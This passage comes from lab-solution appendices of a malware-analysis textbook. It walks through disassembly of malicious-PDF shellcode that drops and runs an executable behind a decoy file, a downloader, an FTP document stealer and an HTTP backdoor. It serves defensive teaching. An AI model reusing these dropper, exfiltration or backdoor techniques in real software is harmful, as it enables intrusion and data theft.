the file size for the first file accessed in the malicious PDF. 

000001D1   xor     edx, edx
000001D3   push    dword ptr [ebx+44h] 
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000001D6   push    edx
000001D7   call    [ebx+sc0.GlobalAlloc]
000001DA   test    eax, eax
000001DC   jz      loc_313
000001E2   mov     [ebp-0Ch], eax
000001E5   xor     edx, edx
000001E7   push    edx
000001E8   push    edx
000001E9   push    dword ptr [ebx+40h] ; File 1 offset E08
000001EC   push    dword ptr [ebp-8]   ; PDF File Handle
000001EF   call    dword ptr [ebx+20h] ; SetFilePointer
000001F2   push    dword ptr [ebx+44h] ; File 1 Size 
000001F5   push    dword ptr [ebp-0Ch] ; memory buffer
000001F8   push    dword ptr [ebp-8]   ; PDF File Handle
000001FB   push    dword ptr [ebx+24h] ; ReadFile
000001FE   call    fileIoWrapper 

Listing 19-16L: Reading the first embedded file

The code calls SetFilePointer to adjust the location in the malicious PDF 
so that it will be based on the value stored at 0x40 in the embedded data, the 
file offset for the first file to be extracted from the malicious PDF. The shell-
code calls a helper function that we’ve named fileIoWrapper at  to read the 
file contents. Analysis of the function shows that it has the following function 
prototype:

__stdcall DWORD fileIoWrapper(void* ioFuncPtr, DWORD hFile, char* buffPtr,DWORD bytesToXfer);

The first argument to fileIoWrapper is a function pointer to either ReadFile 
or WriteFile. The shellcode calls the given function pointer in a loop, trans-
ferring the entire buffer to or from the given file handle.

Next, the shellcode in Listing 19-17L constructs an output file path, calls 
GetTempPathA at , and then appends the string foo.exe.

00000203   xor     eax, eax
00000205   lea     edi, [ebp-124h] ; file path buffer
0000020B   mov     ecx, 40h 
00000210   rep stosd
00000212   lea     edi, [ebp-124h] ; file path buffer
00000218   push    edi
00000219   push    100h
0000021E   call    dword ptr [ebx+10h] ; GetTempPathA 
00000221   xor     eax, eax
00000223   lea     edi, [ebp-124h] ; file path buffer
00000229   repne scasb
0000022B   dec     edi
0000022C   mov     [ebp-1Ch], edi
0000022F   mov     dword ptr [edi], 2E6F6F66h ; "foo." E11
00000235   mov     dword ptr [edi+4], 657865h ; "exe\x00"

Listing 19-17L: First filename creation for the first output file
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This extracted file is written to disk using the helper function we’ve 
named writeBufferToDisk. Analysis shows that this has the following function 
prototype:

__stdcall void writeBufferToDisk(DWORD* globalStructPtr, char* buffPtr, DWORD 
btesToWrite, DWORD maskVal, char* namePtr);

This function will XOR each byte in the input buffer with the value pro-
vided in maskVal, and then write the decoded buffer to the filename given by 
namePtr. The call to writeBufferToDisk at  in Listing 19-18L will use an XOR 
mask of 0x4a and write the file to %TEMP%\foo.exe. This filename is passed 
to the call to CreateProcessA at , creating a new process from the file just 
written to disk.

0000023C   mov     ebx, [ebp-14h]
0000023F   lea     eax, [ebp-124h]
00000245   push    eax                 ; output name
00000246   push    4Ah ;               ; xor mask
0000024B   push    dword ptr [ebx+44h] ; File 1 Size
0000024E   push    dword ptr [ebp-0Ch] ; buffer ptr
00000251   push    ebx                 ; globalsPtr
00000252   call    writeBufferToDisk 
00000257   xor     eax, eax
00000259   lea     edi, [ebp-178h]
0000025F   mov     ecx, 15h
00000264   rep stosd
00000266   lea     edx, [ebp-178h] ; lpProcessInformation
0000026C   push    edx
0000026D   lea     edx, [ebp-168h] ; lpStartupInfo
00000273   push    edx
00000274   push    eax
00000275   push    eax
00000276   push    eax
00000277   push    0FFFFFFFFh
0000027C   push    eax
0000027D   push    eax
0000027E   push    eax
0000027F   lea     eax, [ebp-124h] 
00000285   push    eax
00000286   call    dword ptr [ebx+4] ; CreateProcessA
00000289   push    dword ptr [ebp-0Ch]
0000028C   call    dword ptr [ebx+34h] ; GlobalFree

Listing 19-18L: Decoding, writing, and launching the first file

The shellcode repeats the same procedure in Listing 19-19L for a second 
file stored encoded within the malicious PDF. It allocates space according 
to the file size stored at offset 0x4c within the embedded data at , and 
adjusts the file pointer location using the file offset stored at offset 0x48 at .

0000028F   xor     edx, edx
00000291   mov     ebx, [ebp-14h]
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00000294   push    dword ptr [ebx+4Ch] ; File 2 Size 
00000297   push    edx
00000298   call    dword ptr [ebx+30h] ; GlobalAlloc
0000029B   test    eax, eax
0000029D   jz      short loc_313
0000029F   mov     [ebp-10h], eax
000002A2   xor     edx, edx
000002A4   push    edx
000002A5   push    edx
000002A6   push    dword ptr [ebx+48h] ; File 2 Offset 
000002A9   push    dword ptr [ebp-8] ; PDF File Handle
000002AC   call    dword ptr [ebx+20h] ; SetFilePointer

Listing 19-19L: Allocating space for the second file

The shellcode in Listing 19-20L uses the same temporary file path as 
in the first file, but replaces the filename with bar.pdf at . The call to 
writeBufferToDisk at  decodes the file contents using the mask value 0x4a, 
and writes it to %TEMP%\bar.pdf.

000002AF   push    dword ptr [ebx+4Ch] ; File 2 Size
000002B2   push    dword ptr [ebp-10h] ; memory buffer
000002B5   push    dword ptr [ebp-8] ; PDF File Handle
000002B8   push    dword ptr [ebx+24h] ; ReadFile
000002BB   call    fileIoWrapper
000002C0   mov     eax, [ebp-1Ch]  ; end of Temp Path buffer
000002C3   mov     dword ptr [eax], 2E726162h ; bar. 
000002C9   mov     dword ptr [eax+4], 666470h ; pdf\x00
000002D0   lea     eax, [ebp-124h]
000002D6   push    eax             ; output name
000002D7   push    4Ah ;           ; xor mask
000002D9   mov     ebx, [ebp-14h]
000002DC   push    dword ptr [ebx+4Ch] ; File 2 Size
000002DF   push    dword ptr [ebp-10h] ; buffer ptr
000002E2   push    ebx             ; globals ptr
000002E3   call    writeBufferToDisk 

Listing 19-20L: Reading, decoding, and writing the second embedded file

Finally, the shellcode in Listing 19-21L opens the PDF file it just wrote to 
%TEMP%\bar.pdf using the call to ShellExecuteA at . It passes in the com-
mand string "open" at  and the path to the PDF at , which causes the sys-
tem to open the specified file with the application registered to handle it.

000002E8   xor     ecx, ecx
000002EA   lea     eax, [ebp-168h] ; scratch space, for ShellExecute lpOperation verb
000002F0   mov     dword ptr [eax], 6E65706Fh ; "open" 
000002F6   mov     byte ptr [eax+4], 0
000002FA   push    5               ; SW_SHOWNORMAL | SW_SHOWNOACTIVATE
000002FF   push    ecx
00000300   push    ecx
00000301   lea     eax, [ebp-124h] ; output PDF filename 
00000307   push    eax
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00000308   lea     eax, [ebp-168h] ; ptr to "open"
0000030E   push    eax
0000030F   push    ecx
00000310   call    dword ptr [ebx+38h] ; ShellExecuteA 
00000313 loc_313:
00000313   call    dword ptr [ebx+0Ch] ; GetCurrentProcess
00000316   push    0
0000031B   push    eax
0000031C   call    dword ptr [ebx+8] ; TerminateProcess

Listing 19-21L: Opening the second file and exiting

It is common for malicious media files to contain legitimate files that are 
extracted and opened by the shellcode in an attempt to avoid raising suspi-
cion. The expectation is that users will simply think that any delay is due to a 
slow computer, when actually the exploit has just launched a new process, 
and then opened a real file to cover its tracks.

Lab 20-1 Solutions

Short Answers
1. The function at 0x401040 does not take any parameters, but it is passed a 

reference to an object in ECX that represents the this pointer.

2. The call to URLDownloadToFile uses http://www.practicalmalwareanalysis.com/
cpp.html as the URL.

3. This program downloads a file from a remote server and stores it as 
c:\tempdownload.exe on the local system.

Detailed Analysis
This short lab is intended to demonstrate the usage of the this pointer. The 
bulk of the main method is shown in Listing 20-1L.

00401006                 push    4
00401008               call    ??2@YAPAXI@Z    ; operator new(uint)
0040100D                 add     esp, 4
00401010               mov     [ebp+var_8], eax
00401013                 mov     eax, [ebp+var_8]
00401016               mov     [ebp+var_4], eax
00401019               mov     ecx, [ebp+var_4]
0040101C                 mov     dword ptr [ecx], offset aHttpWww_practi ;

;0 "http://www.practicalmalwareanalysis.com"...
00401022                 mov     ecx, [ebp+var_4]
00401025                 call    sub_401040

Listing 20-1L: The main method for Lab20-01.exe

The code in Listing 20-1L begins with a call to the new operator at , 
which tells us that this code is creating an object. A reference to the object is 
returned in EAX, and is eventually stored in var_8 at  and var_4 at . var_4 
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is moved into ECX at , indicating that it will be passed as the this pointer in 
a function call. A pointer to the URL http://www.practicalmalwareanalysis.com/
cpp.html is then stored at the beginning of the object, followed by a call to the 
function sub_401040, which is shown in Listing 20-2L.

00401043                 push    ecx
00401044               mov     [ebp+var_4], ecx
00401047                push    0               ; LPBINDSTATUSCALLBACK
00401049                 push    0               ; DWORD
0040104B                 push    offset aCEmpdownload_e ; "c:\tempdownload.exe"
00401050               mov     eax, [ebp+var_4]
00401053               mov     ecx, [eax]
00401055               push    ecx             ; LPCSTR
00401056                 push    0               ; LPUNKNOWN
00401058                 call    URLDownloadToFileA

Listing 20-2L: Code listing for sub_401040

In Listing 20-2L, we see the this pointer in ECX accessed and stored in 
var_4 at . The remainder of the code is arguments being placed on the 
stack for the call to URLDownloadToFileA. To obtain the URL that will be used 
for the function call, the this pointer is accessed at , then the first data ele-
ment stored in the object is accessed at , and then it’s pushed onto the 
stack at . 

Recall from the main method that the first element stored in the object 
was the URL string http://www.practicalmalwareanalysis.com/cpp.html. The main 
method returns, and the program is finished executing.

Lab 20-2 Solutions

Short Answers
1. The most interesting strings are ftp.practicalmalwareanalysis.com and Home 

ftp client, which indicate that this program may be FTP client software.

2. The imports FindFirstFile and FindNextFile indicate that the program prob-
ably searches through the victim’s filesystem. The imports InternetOpen, 
InternetConnect, FtpSetCurrentDirectory, and FtpPutFile tell us that this mal-
ware may upload files from the victim machine to a remote FTP server.

3. The object created at 0x004011D9 represents a .doc file. It has one virtual 
function at offset 0x00401440, which uploads the file to a remote FTP 
server.

4. The virtual function call at 0x00401349 will call one of the virtual func-
tions at 0x00401380, 0x00401440, or 0x00401370.

5. This malware connects to a remote FTP server using high-level API func-
tions. We could download and set up a local FTP server, and redirect 
DNS requests to that server in order to fully exercise this malware.

6. This program searches the victim’s hard drive and uploads all the files 
with a .doc or .pdf extension to a remote FTP server.
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7. The purpose of implementing a virtual function call is to allow the code 
to execute different upload functions for different file types. 

Detailed Analysis
First, we look at the program’s strings. The two most interesting strings are 
Home ftp client and ftp.practicalmalwareanalysis.com. Looking at the imports, 
we also see FtpPutFile and FtpSetCurrentDirectory. Taken as a whole, the 
strings and imports strongly suggest that this program is going to connect 
to an FTP server.

Next, we run this program to perform dynamic analysis. Because of the 
FTP-related strings, we should set up an FTP server on our malware analysis 
machine and use ApateDNS to redirect DNS requests to the local machine. 

When we run the malware, we see in procmon that the malware is open-
ing files in directories starting with c:\, and then searching each directory and 
subdirectory. Looking at the procmon output, we see that the program is 
mostly opening directories, not individual files, and that it is opening files 
with .doc and .pdf extensions. Where the code opens .doc and .pdf files, we 
also see calls to TCPSend and TCPRecv, which show connections to the local 
FTP server. If the FTP server you are running has logs, you should be able 
to see the connections being made, but you won’t see any files that have 
been successfully uploaded, so let’s load the program into IDA Pro to see 
what is going on. The program’s main method is relatively short, as shown in 
Listing 20-3L.

00401500                 push    ebp
00401501                 mov     ebp, esp
00401503                 sub     esp, 198h
00401509                 mov     [ebp+wVersionRequested], 202h
00401512                 lea     eax, [ebp+WSAData]
00401518                 push    eax             ; lpWSAData
00401519                 mov     cx, [ebp+wVersionRequested]
00401520                 push    ecx             ; wVersionRequested
00401521               call    WSAStartup
00401526                 mov     [ebp+var_4], eax
00401529                 push    100h            ; namelen
0040152E               push    offset name     ; name
00401533               call    gethostname
00401538                 push    0               ; int
0040153A                 push    offset FileName ; "C:\\*"
0040153F               call    sub_401000
00401544                 add     esp, 8
00401547                 xor     eax, eax
00401549                 mov     esp, ebp
0040154B                 pop     ebp
0040154C                 retn    10h

Listing 20-3L: The main method for Lab 20-2
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The code starts by calling WSAStartup at  to initialize the Win32 net-
work functions. Next, it calls gethostname at  to retrieve the hostname of 
the victim. The hostname is stored in a global variable, which IDA Pro has 
labeled name at . We rename this variable to local_hostname so that we can 
recognize it when it’s used later in the code. The code then calls sub_401000 
at , which will execute the rest of this malware. Examining sub_401000, we 
see that it calls FindFirstFile, and it runs in a loop that calls FindNextFile and 
also calls itself recursively. You should recognize this pattern as a program 
searching through the filesystem. In the middle of the loop, we see a lot of 
string-manipulation functions (strcat, strlen, strncmp, and so on), which 
will find what the program is searching for. A strncmp compares the manip-
ulated string to the characters .doc. If the filename ends in .doc, the code in 
Listing 20-4L is executed.

004011D9                 push    8
004011DB                 call    ??2@YAPAXI@Z    ; operator new(uint)
004011E0                 add     esp, 4
004011E3               mov     [ebp+var_15C], eax
004011E9                 cmp     [ebp+var_15C], 0
004011F0                 jz      short loc_401218
004011F2                 mov     edx, [ebp+var_15C]
004011F8               mov     dword ptr [edx], offset off_4060E0
004011FE                 mov     eax, [ebp+var_15C]
00401204               mov     dword ptr [eax], offset off_4060DC
0040120A                 mov     ecx, [ebp+var_15C]
00401210                 mov     [ebp+var_170], ecx
00401216                 jmp     short loc_401222

Listing 20-4L: Object creation code if a file ending in .doc is found.

This code creates a new object that represents the file ending in .doc that 
has been found. The code first calls the new operator to create an object, and 
then it starts to initialize the object. The object is stored in var_15C at . Two 
instructions, at  and , write the virtual function table to the object’s first 
offset. The first instruction at  is useless to us because it is overwritten by 
the second mov instruction at . 

We know that off_4060DC is a virtual function table because it is being writ-
ten to an object immediately after creation with the new operator, and if we 
look at off_4060DC, we see that it stores a pointer to a function at sub_401440. 
We’ll label this function docObject_Func1 and analyze it later if we see it called. 

If a filename does not end in .doc, the code checks to see if the filename 
ends in .pdf. If so, it creates a different type of object, with a different virtual 
function table, at offset 0x4060D8. Once the pdf object is created, the code 
jumps to 0x4012B1, and then to 0x40132F, the same location that is executed 
after a doc object is created. If the filename does not end in .pdf or .doc, then 
it creates another type of object for all other file types.

Following the jump where all code paths converge, we see code that moves 
our object pointer into var_148, and then we see the code in Listing 20-5L.
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0040132F                 mov     ecx, [ebp+var_148]
00401335                 mov     edx, [ebp+var_4]
00401338                 mov     [ecx+4], edx
0040133B                 mov     eax, [ebp+var_148]
00401341                 mov     edx, [eax]
00401343                 mov     ecx, [ebp+var_148]
00401349                 call    dword ptr [edx]

Listing 20-5L: A virtual function call

This code references the object stored in var_148, and then calls the first 
pointer in the virtual function pointer table. This code is the same whether a 
.pdf or .doc object is created, but the function called differs for different types 
of objects. 

We saw earlier that the code could create one of three different objects:

 An object for .pdf files, which we’ll call pdfObject. The first function for 
this object in the virtual function table is at 0x4060D8. 

 An object for .doc files, which we’ll call docObject. The first function in the 
virtual function table for this object is at 0x4060DC. 

 An object for all other files, which we’ll call otherObject. The first func-
tion in the virtual function table for this object is at 0x4060E0.

We’ll first check the function to be called for a pdf object. We navigate 
to the virtual function table at 0x4060D8 and find that the function being 
called starts at 0x401380. We see that it calls InternetOpen to initialize an Inter-
net connection, and then calls InternetConnect to establish an FTP connection 
to ftp.practicalmalwareanalysis.com. Then we see it changes the current direc-
tory to pdfs and uploads the current file to the remote server. We can now 
rename the function pdfObject_UploadFile. We also look at the function for 
docObject and see that it executes nearly the same steps, except that it changes 
the directory to the docs directory. 

Finally, we look at the virtual function table for the otherObject to find the 
upload function for otherObject at 0x401370. This function does very little, and 
we can conclude that only .doc and .pdf files are uploaded by this malware.

The malware author implemented virtual functions to allow this code to 
be easily modified or extended in order to add support for different file types 
simply by implementing a new object and changing the part of the code where 
the object is created. 

To test this code, we can add directories named docs and pdfs to our FTP 
server, and allow anonymous write access to them. When we rerun our mali-
cious code, we see that it uploads every .pdf and .doc file from the victim’s 
computer to these directories, naming each file with the victim’s hostname 
and an ID number.
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Lab 20-3 Solutions

Short Answers
1. Several strings that look like error messages (Error sending Http post, 

Error sending Http get, Error reading response, and so on) tell us that this 
program will be using HTTP GET and POST commands. We also see HTML 
paths (/srv.html, /put.html, and so on), which hint at the files that this 
malware will attempt to open.

2. Several WS2_32 imports tell us that this program will be communicating 
over the network. An import to CreateProcess suggests that this program 
may launch another process. 

3. The function called at 0x4036F0 does not take any parameters other 
than the string, but ECX contains the this pointer for the object. We 
know the object that contains the function is an exception object because 
that object is later used as a parameter to the CxxThrowException functions. 
We can tell from the context that the function at 0x4036F0 initializes 
an exception object, which stores a string that describes what caused the 
exception.

4. The six entries of the switch table implement six different backdoor 
commands: NOOP, sleep, execute a program, download a file, upload 
a file, and survey the victim.

5. The program implements a backdoor that uses HTTP as the command 
channel and has the ability to launch programs, download or upload a 
file, and collect information about the victim machine.

Detailed Analysis
When we look at the program’s strings, we see several that look like error 
messages, as shown in Listing 20-6L.

Encoding Args Error
Beacon response Error
Caught exception during pollstatus: %s
Polling error
Arg parsing error
Error uploading file
Error downloading file
Error conducting machine survey
Create Process Failed
Failed to gather victim information
Config error
Caught exception in main: %s
Socket Connection Error
Host lookup failed.
Send Data Error
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Error reading response
Error sending Http get
Error sending Http post

Listing 20-6L: Abbreviated listing of strings from Lab20-03.exe

These error messages provide excellent insight into the program’s func-
tionality. These messages tell us that the malware probably does the following:

 Uses HTTP POST and GET commands

 Sends a beacon to a remote machine

 Polls a remote server for some reason (probably for commands to 
execute)

 Uploads files

 Downloads files

 Creates additional processes

 Conducts a machine survey

With just the information from these strings, we can guess that this pro-
gram is a backdoor that uses HTTP GET and POST commands for command 
and control. It looks like the program supports uploading files, downloading 
files, creating a new process, and surveying the victim’s computer. 

When we open the program in IDA Pro, we see that its main method calls 
a function at 0x403BE0 and then returns. The function at 0x403BE0 con-
tains the main program flow, so we will call it main2. It starts by creating a new 
object with the new operator and calling a function for the new object with 
config.dat as an argument to the function, as shown in Listing 20-7L.

00403C03                 push    30h
00403C05                 mov     [ebp+var_4], ebx
00403C08               call    ??2@YAPAXI@Z    ; operator new(uint)
00403C0D               mov     ecx, eax
00403C0F                 add     esp, 4
00403C12                 mov     [ebp+var_14], ecx
00403C15                 cmp     ecx, ebx
00403C17                 mov     byte ptr [ebp+var_4], 1
00403C1B                 jz      short loc_403C2B
00403C1D                 push    offset FileName ; "config.dat"
00403C22               call    sub_401EE0
00403C27                 mov     esi, eax

Listing 20-7L: An object being created and used in main2

IDA Pro labels the new operator at  and returns a pointer to the new 
object in EAX. A pointer to the object is moved into ECX at , where it is 
used as the this pointer to the function call at . This tells us that the func-
tion sub_401EE0 is a member function of the class of the object created at . 
For now, we’ll call this object firstObject. Listing 20-8L shows how it’s used in 
sub_401EE0.
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00401EF7               mov     esi, ecx
00401EF9                 push    194h
00401EFE               call    ??2@YAPAXI@Z    ; operator new(uint)
00401F03                 add     esp, 4
00401F06                 mov     [esp+14h+var_10], eax
00401F0A                 test    eax, eax
00401F0C                 mov     [esp+14h+var_4], 0
00401F14                 jz      short loc_401F24
00401F16                 mov     ecx, [esp+14h+arg_0]
00401F1A                 push    ecx
00401F1B                 mov     ecx, eax
00401F1D               call    sub_403180

Listing 20-8L: The first function being called on firstObject

sub_401EE0 first stores the pointer to firstObject in ESI at , and then 
creates another new object at , which we’ll call secondObject. Then it calls a 
function of the secondObject at . We need to keep analyzing before we can 
determine the purpose of these objects, so we now look at sub_403180, as 
shown in Listing 20-9L.

00403199                 push    offset FileName ; "config.dat"
0040319E                 mov     dword ptr [esi], offset off_41015C
004031A4                 mov     byte ptr [esi+18Ch], 4Eh
004031AB               call    ds:CreateFileA
004031B1                 mov     edi, eax
004031B3                 cmp     edi, 0FFFFFFFFh
004031B6               jnz     short loc_4031D5
004031B8                 push    offset aConfigError ; "Config error"
004031BD               lea     ecx, [esp+0BCh+var_AC]
004031C1               call    sub_4036F0
004031C6                 lea     eax, [esp+0B8h+var_AC]
004031CA                 push    offset unk_411560
004031CF               push    eax
004031D0                 call    __CxxThrowException@8 ; _CxxThrowException(x,x)

Listing 20-9L: An exception being created and thrown 

Based on the call to CreateFileA with the config.dat filename, we guess 
that this function reads the configuration file from disk, and we rename it 
setupConfig. The code in Listing 20-9L tries to open the config.dat file at . 
If the file is opened successfully, a jump is taken, and the remainder of the 
code in Listing 20-9L is skipped, as shown at . If the file is not opened suc-
cessfully, we see the string Config error passed as an argument to the func-
tion at 0x4036F0 at . 

The function at 0x4036F0 takes the strings as a parameter, but also uses 
ECX as the this pointer. A reference to the object used by the this pointer 
is stored on the stack at var_AC at . We later see that object passed to the 
CxxThrowException function at , which tells us that the function at 0x4036F0 
is a member function of an exception object. Based on the context in which 
sub_4036F0 is called, we can assume that the function is initializing an excep-
tion with the string Config error.
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It’s important to recognize the function call with an error string argu-
ment followed by a call to CxxThrowException because similar code consisting 
of an error string passed to a function followed by a call to CxxThrowException 
appears throughout this program. Each time we see this pattern, we can con-
clude that the function is initializing an exception, so we don’t need to waste 
time analyzing these functions.

If we continue analyzing the function at 0x403180, we realize that it 
reads data from the configuration file config.dat and stores it in secondObject. 
We can now conclude that secondObject is an object to store and read configu-
ration information, and we rename it configObject.

Now we return to sub_401EE0 to see if we can better determine how 
firstObject is used. After creating the configObject object, sub_401EE0 stores 
a bunch of information in firstObject, as shown in Listing 20-10L.

00401F2A mov [esi], eax
00401F2C mov dword ptr [esi+10h], offset aIndex_html ; "/index.html"
00401F33 mov dword ptr [esi+14h], offset aInfo_html ; "/info.html"
00401F3A mov dword ptr [esi+18h], offset aResponse_html ; "/response.html"
00401F41 mov dword ptr [esi+1Ch], offset aGet_html ; "/get.html"
00401F48 mov dword ptr [esi+20h], offset aPut_html ; "/put.html"
00401F4F mov dword ptr [esi+24h], offset aSrv_html ; "/srv.html"
00401F56 mov dword ptr [esi+28h], 544F4349h
00401F5D mov dword ptr [esi+2Ch], 41534744h
00401F64 mov eax, esi

Listing 20-10L: Data being stored in firstObject

First, eax is stored in firstObject, formerly a pointer to configObject. 
Next, we see a series of hard-coded URL paths, then two hard-coded integers, 
and then the function returns a pointer to firstObject. We still can’t be com-
pletely sure what firstObject does, but it appears to store all of the program’s 
global data, so we’ll rename this object globalDataObject for now, until we can 
learn enough to give it a better name. 

We have now finished analyzing the first function called by main2. We 
have determined that it loads the configuration information from a file and 
initializes an object that stores the global data for the program. Having ana-
lyzed the first function that it calls, we can now return to main2. The remain-
der of main2 is shown in Listing 20-11L.

00403C2D               mov     ecx, esi
00403C2F                 mov     byte ptr [ebp+var_4], bl
00403C32                 call    sub_401F80
00403C37                 mov     edi, ds:Sleep
00403C3D loc_403C3D:
00403C3D                 mov     eax, [esi]
00403C3F                 mov     eax, [eax+190h]
00403C45                 lea     eax, [eax+eax*4]
00403C48                 lea     eax, [eax+eax*4]
00403C4B                 lea     ecx, [eax+eax*4]
00403C4E                 shl     ecx, 2
00403C51                 push    ecx             ; dwMilliseconds
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00403C52                 call    edi ; Sleep
00403C54               mov     ecx, esi
00403C56                 call    loc_402410
00403C5B                 inc     ebx
00403C5C                 jmp     short loc_403C3D

Listing 20-11L: Beacon and poll commands in the main2 function

We see that this function calls sub_401F80 outside the loop, and then it 
calls sub_402410 and the Sleep function inside an infinite loop. From what we 
know about the program from the strings, we could guess that sub_401F80 
sends a beacon to the remote machine and that sub_402410 polls the remote 
server. We’ll rename those functions maybe_beacon and maybe_poll. We see that 
maybe_beacon and maybe_poll are both passed our globalDataObject in the ECX 
pointer (at  and ), and that they are member functions of what we’ve 
called globalDataObject. Based on this realization, we’ll rename our object 
mainObject. 

First, we’ll analyze maybe_beacon. We see that it creates another new object 
and calls sub_403D50, as shown in Listing 20-12L.

00401FC8                 mov   eax, [esi]
00401FCA                 mov   edx, [eax+144h]
00401FD0                 add   eax, 104h
00401FD5                 push    edx             ; hostshort
00401FD6                 push    eax             ; char *
00401FD7                 call    sub_403D50

Listing 20-12L: First function call in the maybe_beacon function

We see that IDA Pro has labeled some of the arguments to sub_403D50 
because it knows they will be used as parameters to imported functions later. 
The most telling of these is hostshort, which tells us that it will be used as a 
parameter to the networking function htons. The values for these parameters 
are retrieved from our mainObject, which was stored in ESI. 

We see that ESI is dereferenced at  to obtain a pointer to configObject, 
which is stored at offset 0 in the mainObject. Next, the hostshort is retrieved at an 
offset of +144 into configObject at , and char * is stored within configObject 
at offset 0x248 at  (0x104 + 0x144). This level of indirection is common in 
C++ programs. In a C program, these values would be stored as global data 
with offsets that are labeled and tracked by IDA Pro, but in C++ they are 
stored as offsets into objects that are harder to track. 

In order to determine the data that will be pushed onto the stack, we 
would need to go back to the function that initializes configObject to see 
what is stored at offsets 0x144 and 0x248. In practice, it’s often easier to 
use dynamic analysis to determine those values, but without access to the 
command-and-control server, you may need to go back to configObject. 

Looking at sub_403D50, we see that it calls htons, socket, and connect to 
establish a connection to a remote socket. maybe_beacon then calls sub_402FF0, 
which contains the code shown in Listing 20-13L.
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0040301C call    ds:GetComputerNameA
00403022 test    eax, eax
00403024 jnz     short loc_403043
00403026 push offset aErrorConductin ; "Error conducting machine survey"
0040302B lea     ecx, [esp+40h+var_1C]
0040302F call    sub_403910
00403034 lea     eax, [esp+3Ch+var_1C]
00403038 push    offset unk_411150
0040303D push    eax
0040303E call    __CxxThrowException@8 ; _CxxThrowException(x,x)

Listing 20-13L: Beginning of the victim survey function

We see from this code that the function is trying to obtain the com-
puter’s hostname. If it fails to do so, it throws an exception with the error 
message “Error conducting machine survey.” This tells us that this function 
is conducting a survey of the victim’s machine. 

The remainder of sub_402FF0 shows the malware gathering additional vic-
tim information. We can now rename sub_402FF0 to surveyVictim and move on.

Next, we analyze the function called by maybe_beacon, which calls sub_404ED0. 
From the error message, we can see that sub_404ED0 does an HTTP POST to the 
remote server. maybe_beacon then calls sub_404B10, which from the error mes-
sages we can see is checking the beacon response. Without going into too 
much detail, we can tell that maybe_beacon is, in fact, the beacon function and 
that it expects a specific beacon response in order for the program to con-
tinue running. 

We return to main2 to check the maybe_poll (0x402410) function. We see 
that its first call is to sub_403D50, which we analyzed earlier and know initializes 
a connection to the command-and-control server. The maybe_poll function 
then calls sub_404CF0, which sends an HTTP GET in order to retrieve information 
from the remote server. It then calls sub_404B10, which retrieves the server’s 
response to the HTTP GET request. We then see two blocks of code that raise 
an exception if the response doesn’t meet certain formatting criteria.

Next, we come across a switch statement with six options, as shown in 
Listing 20-14L.

0040251F                 mov     al, [esi+4]
00402522                 add     eax, -61h       ; switch 6 cases
00402525                 cmp     eax, 5
00402528                 ja      short loc_40257D ; default
0040252A                 jmp     ds:off_4025C8[eax*4] ; switch jump

Listing 20-14L: switch statements inside the maybe_poll function

The value used for the switch decision is stored in [esi+4]. That value is 
then stored in EAX, and 0x61 is subtracted from it. If the value is not lower 
than five, none of the switch jumps are taken. This ensures that the value is 
between 0x61 and 0x66 (which represents ASCII characters a through f ). 
0x61 less than the value is then used as an offset into the switch table. IDA 
Pro has recognized and labeled the switch table. 
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We click off_4025C8, which takes us to the six possible locations that we 
need to analyze. We’ll label these case_1 through case_6 and analyze them 
one at a time: 

 case_1 calls the delete operator and then immediately returns without 
actually doing anything. We’ll rename this case_doNothing. 

 case_2 calls atoi to parse a string into a number, and then calls the sleep 
function before returning. We’ll rename it case_sleep. 

 case_3 does some string parsing, and then calls CreateProcess. We’ll 
rename it case_ExecuteCommand. 

 case_4 calls CreateFile and writes the HTTP response received from the 
command-and-control server to disk. We’ll rename it case_downloadFile. 

 case_5 also calls CreateFile, but it uploads the data from the file to 
the remote server using an HTTP POST command. We’ll rename it 
case_uploadFile. 

 case_6 calls GetComputerName, GetUserName, GetVersionEx, and GetDefaultLCID, 
which together perform a survey of the victim’s machine and send the 
results back to the command-and-control server.

Overall, we have a backdoor program that reads a configuration file 
that determines the command-and-control server, sends a beacon to the 
command-and-control server, and implements several different functions 
based on the response from the command-and-control server.

Lab 21-1 Solutions

Short Answers
1. When you run the program without any parameters, it exits immediately.

2. The main function is located at 0x00000001400010C0. You can spot the 
call to main by looking for a function call that accepts an integer and two 
pointers as parameters.

3. The string ocl.exe is stored on the stack.

4. To have this program run its payload without changing the filename of the 
executable, you can patch the jump instruction at 0x0000000140001213 so 
that it is a NOP instead.

5. The name of the executable is being compared against the string jzm.exe 
by the call to strncmp at 0x0000000140001205.

6. The function at 0x00000001400013C8 takes one parameter, which con-
tains the socket created to the remote host.

7. The call to CreateProcess takes 10 parameters. We can’t tell from the IDA 
Pro listing because we can’t distinguish between things being stored on 
the stack and things being used in a function call, but the function is 
documented in MSDN as always taking 10 parameters.
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Detailed Analysis
When we try to run this program to perform dynamic analysis, it immediately 
exits, so we open the program and try to find the main method. (You won’t 
need to do this if you have the latest version of IDA Pro; if you have an older 
version, you may need to find the main method.) 

We begin our analysis at 0x0000000140001750, the entry point as speci-
fied in the PE header, as shown in Listing 21-1L.

0000000140001750         sub     rsp, 28h
0000000140001754         call    sub_140002FE4 
0000000140001759         add     rsp, 28h
000000014000175D         jmp     sub_1400015D8 

Listing 21-1L: Entry point of Lab21-01.exe

We know that the main method takes three parameters: argc, argv, and 
envp. Furthermore, we know that argc will be a 32-bit value, and that argv and 
envp will be 64-bit values. Because the function call at  does not take any 
parameters, we know that it can’t be the main method. We quickly check the 
function and see that it calls only functions imported from other DLLs, so we 
know that the call to main must be after the jmp instruction at . 

We follow the jump and scroll down looking for a function that takes 
three parameters. We pass many function calls without parameters and 
eventually find the call to the main method, as shown in Listing 21-2L. This 
call takes three parameters. The first at  is a 32-bit value representing an 
int, and the next two parameters at  and  are 64-bit values representing 
pointers.

00000001400016F3         mov     r8, cs:qword_14000B468 
00000001400016FA         mov     cs:qword_14000B470, r8
0000000140001701         mov     rdx, cs:qword_14000B458 
0000000140001708         mov     ecx, cs:dword_14000B454 
000000014000170E         call    sub_1400010C0

Listing 21-2L: Call to the main method of Lab21-01.exe 

We can now move on to the main function. Early in the main function, 
we see a lot of data moved onto the stack, including the data shown in List-
ing 21-3L.

0000000140001150         mov     byte ptr [rbp+250h+var_160+0Ch], 0
0000000140001157         mov     [rbp+250h+var_170], 2E6C636Fh
0000000140001161         mov     [rbp+250h+var_16C], 657865h

Listing 21-3L: ASCII string being loaded on the stack that has not been recognized by 
IDA Pro

You should immediately notice that that numbers being moved onto the 
stack represent ASCII characters. The value 0x2e is a period (.), and the hexa-
decimal values starting with 3, 4, 5, and 6 are mostly letters. Right-click the 
724 Appendix C



2 1
numbers to have IDA Pro show which characters are represented, and press 
R on each line to change the display. After changing the display so that the 
